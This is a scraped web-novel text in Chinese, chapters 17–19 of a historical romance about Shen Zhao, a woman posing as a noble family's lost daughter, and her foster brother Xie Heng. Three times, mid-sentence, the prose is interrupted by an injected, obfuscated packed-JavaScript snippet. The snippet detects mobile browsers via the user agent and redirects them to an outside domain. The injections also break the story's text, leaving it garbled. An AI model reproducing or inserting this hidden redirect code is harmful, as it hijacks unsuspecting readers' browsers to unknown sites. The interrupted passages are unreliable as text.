她抬眸望向他,俊目流盼,鼻梁高挺若玉峰耸立,棱角分明的下颌与不染而朱的薄唇,形成冷峻与温润的对照“当然,兄长确实一表人材,我也喜欢看。” 谢珩身形微顿,彷佛被无形的剑气阻了前路,握着伞柄的手陡然收紧,一抹薄绯自耳后悄悄蔓延,却仍端着一副绝尘的清冷,拂袖而去:“胡闹,男女之事岂能妄议,还请你慎言。” 他头也不回地走向雨中,沈昭举伞追上:“喂,兄长,还下着大雨,你跑什么?!” 一辆马车停在路中,杨方回府后见天色大变,便遣了车夫驾车来接他们:“少爷、小姐。” 谢珩径自上了马车,身上衣袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈昭想起在集市采买的东西,着人去取:“祖母,我今日和兄长去集市买了些红橘,不知您喜不喜欢,带点酸,倒也清新爽口,一会您试试?” 老夫人嘴里苦涩,但心尖上却甜如蜜:“好孩子。” 红橘微酸,可汁多肉足,老夫人吃了两个,可见其喜酸。 橘皮上的白丝不易吞咽,剥第二个时,沈昭又仔细地将橘丝剥净递给她,她把橘丝放到一旁瓷盘中,这也是清热去火的好物,只是是否与她所服药的药性相冲,还需问过大夫。 沈昭又将她赢下的玉盘呈给老夫人看,活灵活现讲着她今日所见,老夫人笑得合不拢嘴,精神愈发好了,而后又让沈昭陪着在园中走了走。 沈昭又拣了几样成色好的,供李立雯挑选,余下的她便赏了其他服侍的人。 国公府新找回的小姐,不仅模样生的俊俏,待人和善,还体恤下人,样样都挑不出毛病,又得见老夫人一天天转好,整个府中喜气洋洋。 杨方:“少爷,以上便是我听老夫人房前家丁所说。” 谢珩拢起衣带:“好,我知晓了。” 沈昭办事不按常理,行为乖张,但又着实能得母亲和祖母欢心,倒也上心。 欢声笑语中,一下午时光流逝。 待用过晚膳后,谢珩在院中练剑,杨方回禀:“少爷,小姐来寻你了。” 谢珩收剑,整理好衣襟,端肃仪容:“请她过来吧。” 沈昭定睛望着站在一旁的杨方,欲言又止,杨方退至院外候着,她才开口:“兄长,你闭上眼睛。” 17. 第 17 章 谢珩对上她的明眸,明明不知她搞什么把戏,但他自己也没料到,竟任她胡闹,不由得轻阖起双眸。 “好啦,睁开吧。铛铛~”未久,她的话语在耳畔响起。 谢珩睁开眼,一方素帕自她手中垂下,浅蓝色,绣着几株花儿,含苞待放,但绣工还差些火候。 她今日在集市上路过红橘摊时,买红橘,就送摊主女儿练手绣的手帕,她便多买了些,倒也巧,祖母可用它清口。她房中春宁和夏安的帕子都是她们自绣的,估摸着看不上这等绣工,记起谢珩好像并无这等物件,便顺手送他了。 素帕仍垂在她手中,见他不动,她握着帕子的手蜷了蜷。 罢了,这等贵公子平日见惯了好物,哪怕他用不上这帕子,这质地估计他亦不会用。 “你不喜欢的话就算了。”说着她便要抽手。 倏尔一股不可抗拒的力量拉扯住帕子一角,被一只骨节分明的手拽住。 四目相对,许是这帕子太过粗糙,磨得他总觉得指尖炽热。 谢珩:“多谢,另外火场危险,金吾卫本就有护卫之责,无论生死皆是定数,若再有此事发生,切莫靠近。” 他犹记得白日那个不管不顾,哭喊着他的名字往里闯的姑娘,哪怕被数名身形魁梧的金吾卫拦在身前,仍以蚍蜉撼树的力量冲破重重阻碍。 哪怕姜尧被人抬至安全处,但火势无情仍不可小觑。 遇险时,何人不是争抢生机,但唯有至亲才会义无反顾奔向你。 她这妹妹一角着实扮得认真,尽心侍奉祖母,虽话里话外不着边际,但到底行事稳妥。 可... 那熠熠明眸掬着碎光,旁若无人,声声说着喜欢的亦是她。 思虑至此,他收整帕子的手顿了顿,而后将其叠得整齐,郑重收入怀中。 —— 翌日,谢珩和沈昭跟随母亲和祖母在谢家祠堂上了香,因着祖母身子不便,就简单办了。 晋国公的排位置于其中,不由得令李立雯回想他们过往,红了眼眶。 瑾儿和珩儿幼时,晋国公曾言:“若我死后,不必祭拜,人活一世,死了成为一抔黄土,珍惜活着的日子便足够了,睹物只会思人,若我与你的幸福日子不能令你怀时畅慰,而是思及感伤,我不忍见。” 但她又生生将泪珠憋了回去,浅浅笑道:“瑾儿一事,终是我心中最大的遗憾,如今她出落得亭亭玉立,又如此体贴可人,你大可放心。” 沈昭瞥见老夫人和母亲都神色动容,似是感念曾经,那她多年未归,是否要配合着哭一哭? 她悄悄扭头看向一旁的谢珩,不动如山,神情亦无悲无喜,按捺住心中念头,学着谢珩模样恭敬有礼默哀。 这半日光景便在国公府中陪着几位长辈,谢珩很少归家,对上尊敬并不多言,但李立雯能多见他几面便心中满足。 老夫人因着今日多站了久些,心中感怀颇深,兴致了了早些休息了。 用过晚膳后,沈昭本就闲不住,不想早早歇下,拦住要回房的谢珩:“兄长,你晚上有何安排,若是无事,我们不如出去走走?” 往日此时,谢珩都是在衙中办差,若是无公事,他会回房读书练武,亦不得闲。 哪怕这几日休沐,除了他依母亲叮嘱,陪同沈昭,余下的时辰他亦有规划,何时练武、何时看书…安排周密。 杨方在一旁暗暗摇头,少爷一向不喜旁人打破他的计划。 “可以。”谢珩答得干脆。 杨方不敢相信自己耳朵,睁大眼睛逡巡几圈,最终随着二人去了。 沈昭也有自己的小心思,谢珩喜怒不显,若是哪天她口无遮拦,不小心触怒了他,早早了解敌情才好适时开溜。横竖金吾卫中有些人也认识她,若是多同他们熟悉熟悉,到时也有个助力。 经这几日沈昭观察,有个疑问一直闷在她心中,她不禁开口问道:“兄长,你们不喝茶么?” “茶”这一字,谢珩曾看过书中所记,神农尝百草,其中有一物长于山涧,将其浸之,取水而饮,可解毒。但他在长安城并未见过此物。 沈昭又解释道:“就如树叶子般,用开水浸泡后,入口有一些淡淡苦涩,品之淡淡甘甜。” 听她所讲细致,谢珩:“你见过此物,你的家乡有茶?” “嗯,我的家乡有很多人爱喝茶,茶叶并不罕见,”观谢珩反应,长安城内还未普及喝茶,他身份不凡,能接触到并不稀奇,她嗅到一丝金钱的诱人味道。 可在问谢珩时,他竟只是从书中所得,并未尝过。 沈昭暗叹,果然钱不是随便挣的,罢了。 长安虽执行宵禁,但并不严格,街上行人不少。 在街市上,不时便会碰到往来的金吾卫,因着执行公务,他们只同谢珩见礼后,又继续巡值,偶有几个认识沈昭之人,也只颔首示意,暗叹御风这小子没福分,谁能料到他的未婚妻是国公府的小姐呢,本以为将过得好日子,可惜总是迟了一步。 若是御风尚在,他们婚期将至,国公府疼爱刚找回的小姐,定不会棒打鸳鸯,如此双喜临门的喜事,却只剩喟叹。 三人一行刚至左衙,谢珩派去的探子来信。 他命杨方陪着,自己去便室,神色凝重地看过,又将信烧了,御风身死后,家中财物尽失去,其中不乏朝廷的赏赐,谢珩沿着这条线继续追查,然市面上却并未发现,据此,此人定是道上的人,知道如何销赃。 此人手段见不得光,又直冲御风而去,更像是寻仇,可御风平素来往简单,为人低调不愿起纷争,能做得如此的,还有一种可能——他也在金吾卫之中,就是他们身旁之人。 沈昭本想同之前相熟之人套个近乎,但不巧,他们今夜都安排值守,衙的人所剩无几,她悄声问向杨方:“长安城内可有黑市?” 往日剧里见的多了,黑市中会售卖各种乞巧物件,还有各类避世高人,既来了一趟,她当然想见见世面。 杨方认真道:“之前确实查处一批。” 她转念一想,能让金吾卫知道的黑市,肯定早就被查抄了。 谢珩从屋中走出,正见沈昭同杨方在谈黑市一事,两人并肩而立,仅半步之遥,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牛车上用粗壮绳子捆着大大小小的玉瓶,为了躲开前方路上的一只猫儿,他紧紧拉住缰绳,猛得停下,一个小的玉瓶却因着突如其拉力的惯性滑了下去:“哎,我的瓶子!”车夫眼睁睁看着他滑落下去,出手已来不及,不禁闭眼耸肩,只待那一声落地的脆响。 当适时,一墨色衣袍凌空而起,翻过牛车,长剑出鞘,出剑轻挑玉瓶,玉瓶在它剑身上打了几个转,而后被他稳稳接住。 行云流水,不带一丝拖延。 沈昭即刻认出他,穿过人群,提裙跑到他身边。 车夫接过玉瓶,连声道谢:“多谢公子,”又看到他身旁的姑娘,只觉得眼熟,不敢多看,只回身又加固了车上的麻绳。 待他们走远后,才拍额恍然:“这不是当时帮她捡菜的姑娘么,换了身衣服,差点未认出她。” 谢珩虽在人群中显得高挑,但已至夜深,“黑市”上只有几星光亮,稍不留神便寻不到了。 “喂,兄长,你走慢些,我怕跟不上你。” 他脚步稍顿,将随身配剑向斜后方递去,并未言语。 沈昭玉手纤纤搭上剑鞘,刚一用力,铮——一声金鸣,长剑半出鞘,两人不约而同地尴尬对望。 她握着剑鞘稳稳向前靠近几步,将剑收起:“罢了,若是你我二人再走散,我们就在马车停靠处见吧。” 一深色衣角垂落在她面前,谢珩喉结滚动,缓缓开口:“拉着。” 18. 第 18 章 他的衣角垂在半空。 沈昭抬眸看他,之前连近他身一步都得退避三舍的谢珩,如今主动任由她牵着? 她大大方方地扯住他的衣角。 她们又不是见不得人的关系,何必畏缩。 在夜市转了一圈,谢珩没得到想寻的答案,未久三人便离开了。 沈昭躺在床榻上,回想起今日种种,她抽中玉瓶子,中了特等奖,谢珩的法子真的有用么? 那她许下的愿望该会成真! 她安心合眼而睡,静候实现的那日。 次日,高峻用过早膳后,拉着他弟弟高义信一同上晋国公府拜会。 他们两兄弟性子迥异,高峻活泼风流,高义信则知礼持节,但拜他哥哥所赐,身边接触之人不乏女子,倒又不似谢珩一般,事事谨慎小心。 高峻的拜帖还未至府中,他的声音却先一步响彻前院“秉正堂”。 高义信扯住他的衣袍:“兄长,在国公府切莫张扬,老夫人久病休养,喜静。” 高峻摆摆手,反拉着弟弟入门:“前院只有谢珩一人,你莫不是当你兄长我是个鹦哥,哪里会惊扰到老夫人。” 他们二人入府时,谢珩正坐在书房看书,待听到他的声响,挥手一扫,将门扉紧闭。 他自小同谢珩交好,为人不拘礼节,但偏生的一张巧嘴,同谁都能唠上几句,又出手阔绰,每每登门,大把的银子往家丁手里洒,又知他同自家少爷交情匪浅,每个人都迎仙儿一般地供着。 家丁将他们引至书房门口:“高公子,我家少爷正在里面看书呢。” “好,下去吧。”高峻将碎银子扔给家丁,提步开门。 高义信在一旁无奈地摇摇头,终是不拦。 谢珩未抬眼皮,只专注看书,忽而一只大手伸出,想抽出他手中书,一下不成,高峻手腕发力,复而青筋暴起却也未得逞。 书仍被谢珩紧紧攥在手里。 一招未成,高峻直接将脸凑到书前,逼得他不得不仰身小退:“你这家伙,本公子不亲自来请,你这大佛是不准备出山?前几日相见,你只问好去处,怎样,带着你家妹妹这几日玩得可开心,什么时候介绍给我们认识认识?” —— “小姐自然穿什么都好看。”春宁和夏安正在帮沈昭更衣。 李立雯着绣娘做的新衣这几日陆续送往国公府,眼下正在试的这件便是特意为几日后的宴席准备。 若是平日出门的常服,沈昭除了发髻之外,自己完全可以应付。 但这出席正式场合的礼服,若不是因着质地轻软,只怕这一件件压在自己身上,行走都不能自如。 李立雯笑眼打量着,同一旁的绣娘提些更精细的建议,又换了一个浅色披帛,沈昭不欲插嘴,只随着她们去。 李立雯前前后后仔细看过,确认没有大的问题后,吩咐:“春宁,带小姐去给老夫人看看,看老夫人还有何主意。”国公府的小姐,当然样样都需最好,她将一枚金凤钗插入她的发髻中。 明眸皓齿,本就一张盈莹芙蓉面,与这华贵的衣服相衬,宛若天上的仙娥。 “是。”春宁虚扶着沈昭向老夫人房中走去。 沈昭只觉自己一个头两个重,这身衣服穿在身上已然加了些份量,但头上的珠钗发簪和夏安特意挽的发髻,倒像头上顶了一颗挂满金银首饰的树,她努力崩着肩背和脖子,生怕一垂头失力,头上的东西便簌簌掉落下去。 难怪古人仪态端庄,如此重物压在头上,又岂能不打起十二分的精神。 —— “九如,我们亲自登门相邀,你若再千般万般推迟,我可生气了,你我情如手足,又不会唐突了你家妹妹,赏脸一见都不可么?” 高峻仍不死心,他倒十分好奇他这流落在外的妹妹到底是何模样。 高义信则在一旁低声劝着,但高峻行事向来随心,又念着同谢珩相熟,既然过几日总会介绍给长安城中各门各府认识,他便偏偏想占一步先机。 三人一行刚拜会完老夫人,正你一言我一语地向外走,正巧迎上来见祖母的沈昭一行。 “少爷,高公子。”春宁退至一旁福了福身子。 沈昭并不识得眼前两人,顾着礼节,只得随着春宁喊:“兄长,两位公子。” 发髻上的金凤钗上,凤口衔的东珠熠熠生辉,映得额间的花钿愈发红艳,最是那双灵动的双眸,泛着盈盈水光,她缓步上前,教那满地的落花都败了颜色。 谢珩率先抬眸,对上她的视线,但见身旁两位目不转睛地看向她,他轻咳几声示意。 饶是高家公子,与长安城豪门闺秀都相熟,亦不免愣了几息,高义信则眼观鼻鼻观心地垂下眼眸,耳后的浅绯了却久久不消,先拱手一礼:“谢姑娘。” 高峻适才反应过来,大步上前:“早就听闻谢家小姐俏若三春之桃,今日得见,倒更甚六月海棠,不,这一花开尽百花杀,只谢姑娘一朵便盛满园春色了。”他夸得坦荡,眼中满是欣赏,并无任何邪淫,到底是世家将养出的贵公子,气度风流却并不令人生厌,亦难怪他回国公府便回自家宅院一般,上下无一人挑他错处。 得人夸赞,沈昭心中自然欢喜:“谢公子夸奖。”她念着李立雯和绣娘还在等她,并未多留,“不扫几位雅兴,我先去拜见祖母,母亲还在房中等我。” 三人随即让开路,待她走过时,高峻不忘在后轻喊:“谢小姐,若你无事,一会不妨同我们去郊外转转?” 沈昭惦记着等日后谢珩寻到亲妹妹,她就择一山清水秀处,买个庭院,若是回不去了,至少有个落脚处,欣然答应:“好啊,不过还得请各位稍候,等我换下身上这件衣服。” “乐意之至!”高峻冲着她的背影挥手,高义信在旁拉住他,“低声些,兄长。” 高峻一眼便看穿了他的心思,并不明言,只长臂一伸去揽谢珩的肩,却被他快步躲开。 他垂手不快,又疾步跟上:“这可是你妹妹亲口答应的,你总不能替她拒了我。” —— 未久,四人一行出门。 高家兄弟前来是坐着自家马车,谢家兄妹二人另坐一辆。 然沈昭踩着车凳上车后,谢珩刚掀帘入内,高峻便紧随其后,探出头:“不知谢姑娘可否介意我们同乘一辆?我母亲临时出府,我便遣了车夫去送她了。” 沈昭自然不介意,何况谢珩与她独处时,他总有些不自在,如此人多,他应是更自如,便应下:“当然可以。” 谢珩却挑了挑眉,不知高峻又有何鬼主意,但并不阻止。 高峻上车后,高义信拗不过他,被他拉上车,连声致歉,透明的耳坠红得几欲滴血:“叨扰二位。” 马车虽然宽敞,但经不住三个男子挤在其中,一时略显逼仄,高峻并不介意,一路上高谈阔论,沈昭见他性子率直,没有架子,也喜欢同他交谈。 高义信起初还有些腼腆,但熟悉过后,才觉眼前女子不仅容貌皎皎,言语更有趣,倒同他兄长有几分相似,谈起任何事,都能说上几句,加之四人年岁相差无几,高峻和谢珩同岁,高义信和沈昭同岁,就长安城聊得很是投机。 马车一路慢行至郊外,因着有了几分暑气,外出游玩的人并不多,高峻先一步跳下车,拉扯着谢珩便往一旁走:“走,九如,我最近课业上遇到难题,此事只有你能替我解惑。” 谢珩生疑,若要高峻念书,比饿他几日还可怕,一时并未离开。 “那你要我当着你家妹妹面说,那若出言无礼,可怪不得我了。”高峻轻俯在他耳旁低声说道。 他权衡再三,迈着步子同高峻走至一旁,高峻则回首对他弟弟使了个眼色,好好把握机会。 高义信喉结滚动,静候沈昭下车后,退开半步,指着远处一座亭子:“谢姑娘,家兄他们有事相商,我们不如先去凉亭中暂等。” “好啊。”沈昭提裙而去。 待两人入座后,沈昭望着远处两个颀长的身影站于树下,面向亭中,谢珩的视线从未移开。 沈昭早想私下打听长安城的房价,谢珩不在正合她意,她问道:“高公子,不知你对长安城房价可有研究,若我有朋友想择城郊一处私宅,倒也不必太大,有三室足矣,但最好车马往来方便,大概会花多少银子呢?” 高义信思虑片刻:“谢姑娘所提,在下确实浅薄,了解不多,但据家兄一朋友所言,他在永崇坊交易,一亩地价约两万文钱,至于城郊,某估计该是会更便宜些。” 永崇坊算长安城最繁华的地界,她简单估算,那谢珩赠她的定钱买下一栋宅院绰绰有余,思及此,她嘴角不禁勾起一抹浅笑。 高义信不明所以,但涉及她的家私不便随意探听。 沈昭解释道:“我只是随口问问罢了,我刚入府,府里上下待我极好,但总不能没个分寸,我没在长安城居住过,想了解下罢了。” 高义信了然,仍保持着得体:“谢姑娘多虑了,谢家既然将你认回,定会将你视若珪壁,爱若明珠。哪怕晋国公不在世,以谢将军的为人品行,不会亏待于你,”他拿捏着分寸,最终仍然道出,“若是你有何难处,可来高府寻我。” 沈昭举起杯盏,以水代酒:“那便先谢过高公子了。” 高义信浅笑,任由她的杯盏轻碰上自己的,手却不自觉抖了,温热的水洒到他修长的指节,却烫得他耳后红了一片。 沈昭误以为自己失力,放下杯盏,从怀中取出帕子递给他:“不好意思。” 棉质的帕子覆在他手上,虽不似锦缎丝滑,但却暖上心间,“谢过姑娘了。”他轻轻用帕子擦拭。 —— “九如,你有没有在听,九如你去哪?”高俊望着谢珩匆匆飞向远处凉亭的身影,“等等我。” 高义信还在擦手,下一瞬谢珩便出现在他们身旁,谢珩同他兄长年岁相当,他以对待兄长之礼,起身相迎,手中却紧紧捏着那一方帕子,“谢将军。” 谢珩眸光却紧随着他手中那方帕子,棉质料子同他那块一样,其中的绣样被他掌心握住,看不真切。 谢珩罕见地失了礼节,并未应他,只眸色深沉地垂下眼,不怒而威的气场令人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571572|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉生寒。 沈昭见惯了他的阴晴不定,倒并不在意。 高义信站于原地,坐立不宁,见谢珩目光一直落在他手中帕子上,自知不妥:“多谢姑娘美意,但某已经污了这方帕子,恐污了姑娘清雅,改日奉还姑娘一方新的,方不负姑娘今日之谊。” 沈昭哪知他们之间曲折,只觉这些世家子弟一个个不带个帕子出门,幸亏她买红橘时,多要了几个,她大方道:“不必,你若不喜就扔了,帕子我多得很,不用还我了。” 高俊喘着粗气跑来,及至亭前时,捋捋衣袍,气定神闲踱步而来,正巧听到沈昭言语,冲着高义信眨眨眼,打圆场道:“既然人家姑娘有心赠你,还不快安心收下。” “来来,坐。”高俊拉着谢珩坐下,消解了当下的尴尬。 四人暂歇,但却只有高俊和沈昭滔滔不绝谈着,高俊觉察到谢珩冷淡,便让随从回府谴车而来。 四人分开后,高家兄弟上了马车,高俊拍拍他的肩:“九如他刚寻回妹妹,肯定不舍,但是人家姑娘既然对你有心,你若有意,可得自己把握,我们两家交好,可别寒了姑娘的心。” 高义信认真应下,自打他初见沈昭,所有的思绪便自觉被她牵动,只是不料她竟如此直白,将手帕相送,令他一时慌了手脚。 并驾而行的另一辆马车中,沈昭掀起车帘,赏着沿途风光,直到谢珩开口:“你觉得高家兄弟如何?” 沈昭:“很好啊,高俊风流倜傥,高义信知书达理。”她不知刚刚何事惹到他,观察着他的神情,并未多说。 谢珩沉默半晌,从嘴里艰难咬出几个字:“莫忘了你入府的初衷,是为宽慰祖母忧思。” 沈昭默然应下,余光扫过他冷若冰霜的脸庞,一副杀神模样,原是为着她这几日摸鱼生气了? 可外出游玩本就经过李立雯允准,她每日晨昏定省,若祖母身子爽利,也会陪着多说会话,她平日虽然惯爱耍懒,可在老板眼皮子底下,她多少还存些敬畏。 但一想起那木匣里的小银山,为钱低头她不冤:“是,我定会日日记在心上,尽心照顾她老人家。” 谢珩被她的话噎住,一时无语。 —— 惊云同夏目的婚事并没有在他口中的故乡办,而是在赶回长安城的路上,择了一处客栈草草办了。 没有亲眷,就连知己好友也没有,惊云以他自幼离家,村中看他长大的老人死的死,身子不适的不便出门为由掩饰。 夏目心中略有不安,但毕竟是喜事,她扬起唇角,仍然满心欢喜地出嫁了。 惊云准备的聘礼颇丰,很多他不便随行带着,便写了一份长长的礼单,待她们回到长安城后,再交由夏目手中。 这其中不乏他从御风家里偷来的物件,他料定谢珩会追查,自然不会傻到拿去变卖,只要夏目能顺利认祖归宗,谢珩自然是他的大舅哥,他杀了御风又何妨,届时碍于他的身份,谢珩也不会对他动手。 夏目依偎在他怀中:“阿云,我有一事想同你说。” 惊云脑中算计被她柔声打断,面前的女子红嫁衣加身,目含秋水,眼中情意绵绵,嘴上的口脂比最烈的葡萄酒还要醉人,他轻啄薄唇,细细吻过每一寸柔软:“明早我们启程回长安,去一个重要的地方,一切等明日过后我们再细说。” —— 谢珩和沈昭回府后,春宁早早在门边候着:“小姐,少爷,夫人请你们过去。” 明日便是为迎沈昭回府而举办的宴席,国公府上家丁忙前忙后,里里外外张灯结彩,比过节还热闹几分,送菜的马车一日过府四次,王管家忙得脚步不歇,脸上的笑从未掉下。 李立雯已命王管家向世家贵族下了礼贴,怕有缺漏,她特意寻谢珩过去,再次核对宾客名单。 谢珩平日与朝中权贵交往不多,不涉党争、不站派别,景明帝正是看重这点,才对他委以重任,他略略扫过名单,高家亦然在列,他的目光停留在上,霎时没了再看的心思。只双手奉还给李立雯:“母亲安排妥当,并无缺漏。” 李立雯只作询问,接过礼单后,将沈昭拉至身旁,顺着礼单同她细细介绍明日宾客,家中子女以及在朝官职等。 沈昭一时只仓促过耳,尚不能完全记在心里,但李立雯话里话外着重点了几户人家小姐,倒教她品出其中暗隐。 李立雯并不避讳,男大当婚女大当嫁,这几年她始终放心不下瑾儿,谢珩孝顺,全力去寻,亦耽误了他的大事。 但论品性样貌,谢珩在长安城皆数翘楚,只是前些年有意结亲的人家,被他冷冷的话语逼退,自然生疏了。 李立雯开口:“瑾儿,这几户人家的姑娘脾气秉性好,若你明日见到她们,多接触接触,顺便帮你兄长相看一下,你兄长不善交际,思绪内敛,还得你多帮着点。” 沈昭可最爱凑热闹,她拍拍胸脯,胸有成竹道:“母亲放心,未来嫂嫂一事,包在我身上。” “啪”得一声脆响,谢珩闻言指节收紧,手中的瓷杯应声而裂,碎片飞溅,但面上仍澹然若水,只有掌心一线朱痕随水洇开。 19. 第 19 章 母女俩应声而望,李立雯拎着帕子上前:“珩儿,可有伤到?” 谢珩将手负于身后:“无事,母亲。” 家丁们上前清扫瓷片,李立雯吩咐:“来人,去检查一下明日所用杯盏瓷器,切莫再出现这样的事。” 明日除了宫里的贵人不便随意出宫,她不便相邀,其余所请皆是当朝权贵,晋国公虽然已故,但好在谢珩争气,并未败落。 但若如此小事令人看了笑话,便是当众驳了她的颜面。 “是。”家丁们立即一一请点宴席所用茶盏杯盘。 被他如此一惊,母女二人暂忘了刚才所言。 谢珩主动开口道:“祖母身子刚有所好转,我的婚事并不急于一时,况且明日是怀瑾的重要日子,我不能逾矩。” 李立雯知晓他重体统,知方寸,可越是如此,遇到婚嫁大事,反倒令她着急:“你这孩子,就算你能拖得,不想娶亲,可你妹妹呢?你不能因自己的事误了你妹妹婚期,长安城的好儿郎就那几个,可不能继续耽误下去,我可不能由着你胡闹。” 沈昭面上一僵,本来看热闹看得起劲,话锋一转怎的又催到她身上了。 若谢珩真这么快娶亲,那下一个便是她。 不行,她还没过几天清闲日子呢。 见李立雯执意,他们不好反驳,便由着她安排了,总归面上笑盈盈应下。 谢珩拜别李立雯后,快步回了秉正堂,杨方今日并未随他出行,见他归来,热情相迎:“少...爷。”话音半落。 谢珩头也未抬,如风一般扎进书房,衣袍卷起,不留一丝眷恋。 “砰——”一声,门被疾风带上。 杨方扭头打量:“少爷今儿怎么了?白日同高家兄弟出门时,不还有说有笑?” 谢珩随手翻开一旁书卷,在眼前铺开,彼时他最喜读书,常常呆在书房中,一坐便是半日,杨方便守在门后,提醒他到时用膳。 可这密密麻麻的字却如蝌蚪般,在书页中畅快游弋,明明每个字都看得清明,但却迟迟不入脑,一句话翻来覆去来回扫视,还不能完全领会其中意味。 杨方悄无声息慢慢走至门边,侯在一旁,大气不敢喘,侧耳听着其中声响,他还从未见少爷如此。 未久,谢珩从书房中走出,径自去练武。 利剑出鞘,随着他手腕翻转,剑气的寒光经太阳照耀,晃得人睁不开眼。 杨方远远躲在一旁,不敢上前,生怕一个闪失,自己小命不保,又怕旁人误入,打起精神盯着各处动静。 夕阳西下,天边尽染橘色。 但谢珩却毫无收势,他浑身衣服被汗浸湿,额前几缕碎发凌乱,微喘着气,胸膛有力地上下起伏,汗水顺着他的喉结滚动,滑入衣襟内。 杨方轻声问道:“少爷,到晚膳时辰了,您看要不要去用膳。” 谢珩执剑动作未停:“你去同母亲说一声,我不吃了。” “哦。”杨方应下,待他回来时,手中端着凉饮和一些坚果小食,一名家丁手里还捧着一身新衣,跟在其后躲闪他的剑招,“夫人说了,让少爷今日早些休息,别误了明日的大事。” “先放一旁。”谢珩剑锋偏转,凌空跃至一旁,并不欲伤人。 杨方将端来的小食轻置在一旁,榛子堆积如小山般,在他放下时,一颗溜溜滚落至谢珩脚边。 谢珩收剑俯身捡起,脑中却隐约浮现一个清丽的身影,正手持杯盏,用力砸向桌上的榛子。 思及此,他腕间发力,两指收紧,随着一声脆响,手中的榛壳应声裂开。 他将剑收起,端着木案,转身进了屋,饶有兴致地“捏”起榛壳,未久杨方端来的榛子被他尽数捏碎,他又唤杨方去厨房寻。 半晌,桌上的榛壳堆积如山,剥好的榛子盛了满满两个瓷盆,谢珩:“把这些拿去厨房,莫要浪费了。” 杨方目瞪口呆地盯着眼前一切,只听得吩咐,着人清扫送去厨房了。 因着谢珩没用晚膳,李立雯端了碗羹汤给他送去,言语间仍忧心明日宴席:“你妹妹初回府,她性子活泼,自小又没受过多少拘束,我怕冒然教她规矩反倒伤她的心,明日来往宾客之众,你要多帮衬些,莫让她在外人面前丢了身份。” 谢珩:“母亲既然担心,为何不延后几日,何必非选明日。” 李立雯:“这是你祖母定的,她翻看黄历,明日是这月吉日,若是再耽搁了,倒更显得生分,你一向行止有度,明日多看着些她。” “既在自家办宴席,那也算私宴,怀瑾虽不生长在长安,我近日观来,她并非任性胡为之人,母亲大可放心。”谢珩淡淡开口。 经他如此说,李立雯心中宽慰不少,临走前,不忘提醒他明日定要穿绣娘做的新衣。 翌日 沈昭睡眼惺忪地被春宁和夏安从床上唤起,帮她更衣梳髻,任由她们摆弄。 与初入府时不同,她今日金钿珠翠,锦妆丽饰。 待梳洗完毕后,她渐渐恢复精神,带着两个婢女前去给母亲问安,而后同谢珩、母亲一起前去拜见祖母。 谢珩并未穿昨日新衣,只穿了件深色常服,站在华衣锦服的沈昭身旁,倒像个府内侍卫守着千金小姐。 李立雯不愿同他置气,并未多言。 老夫人昨夜睡得早,念着今日是她的大日子,亦早起梳洗,等她们一行到时,已然端坐于椅上,虽鬓发斑白,身着墨色衣袍,但通身的气度不凡,沈昭打眼瞧着李立雯和祖母,方觉美人迟暮这词断然没有道理。 美人哪怕老了依旧风华绝代。 老夫人的身子一天天好转,如今无需人搀扶亦可行动自如,只是尚不能多行。 她眼笑成一线,招手让她们一左一右坐于她身侧。 未久,家丁们端着食案,呈上早膳,沈昭低头一看:榛子粥、榛壳炙羊、榛子煨鹿腩、榛粉糕... 这长安城的榛子可不要钱了? 一家四口用完早膳后,李立雯让她们兄妹二人各挑一出戏,而后同王管家去厨房绕了一圈,再次确认宴席各项细节。 未久,陆陆续续便有客来访,或是派人登门送上贺礼。 长安城民风开化,未出阁的女子亦可以抛头露面,结交好友,外出游玩,是以谢珩和沈昭同在前厅接待。 沈昭顶着一头珠钗簪子,压得她只转转眼眸,站不久便轻揉脖颈,见客登门时,又拢手于身前保持仪态。 维持体面便不易,哪还记得昨日信誓旦旦应下,帮谢珩长眼张嫂一事。 谢珩见她不便开口:“你进去帮着母亲吧,此处有我。” “谢过兄长。”沈昭眉梢弯成好看的弧度,不做推辞,提裙便向内间跑去了。 高家公子来得最早,还未下马车便听到高峻的声音:“一会儿包在我身上。” 高家两位公子本就生得俊逸,高义信今日着一身绯色锦袍,刚下车便不觉吸引了一些目光,高峻虽然声名在外,是个浪荡公子哥,但他弟弟礼数周全,为人稳重,若同他兄长相较,他在长安城中声誉极好。 两人下车后,并没见到沈昭,高义信低垂眸子见礼,高峻则探着头张望:“九如,你妹妹何在?” 高义信一手拉过他,遣家丁递上拜帖,无奈浅笑:“兄长。” 李立雯彼时正拉着沈昭,向长安城中人介绍她,因着之前他们曾见过她试穿礼服,高峻余光一扫便认出她,用手肘轻顶身旁的高义信:“还不快去。” 谢珩则被高峻拦下:“来来,九如,你一人在此孤寂无趣,我来陪陪你。”还不忘宽慰他,“我知你刚寻回妹妹,老夫人肯定不舍,但是小辈多接触接触是好事,你莫作他想,我不过是见义信整日闷在书房里,带他出来走走。” 高义信得了兄长的鼓励,两手郑重握住锦盒,大步向沈昭走去,及至眼前,先一一拜见面前的长辈。 李立雯是过来人,一眼便知晓他的心思,以手帕掩住唇角笑意,带着其他王府夫人去往内堂:“你们多说会话吧,年岁相当总是好亲近些。” 高义信面子薄,经他们一说,脸便染了一层薄红,他递出抱了一路的锦匣,犹豫再三,还是命家丁转递给了春宁:“上次谢姑娘以手帕相赠,略备薄礼,还望谢姑娘喜欢。” 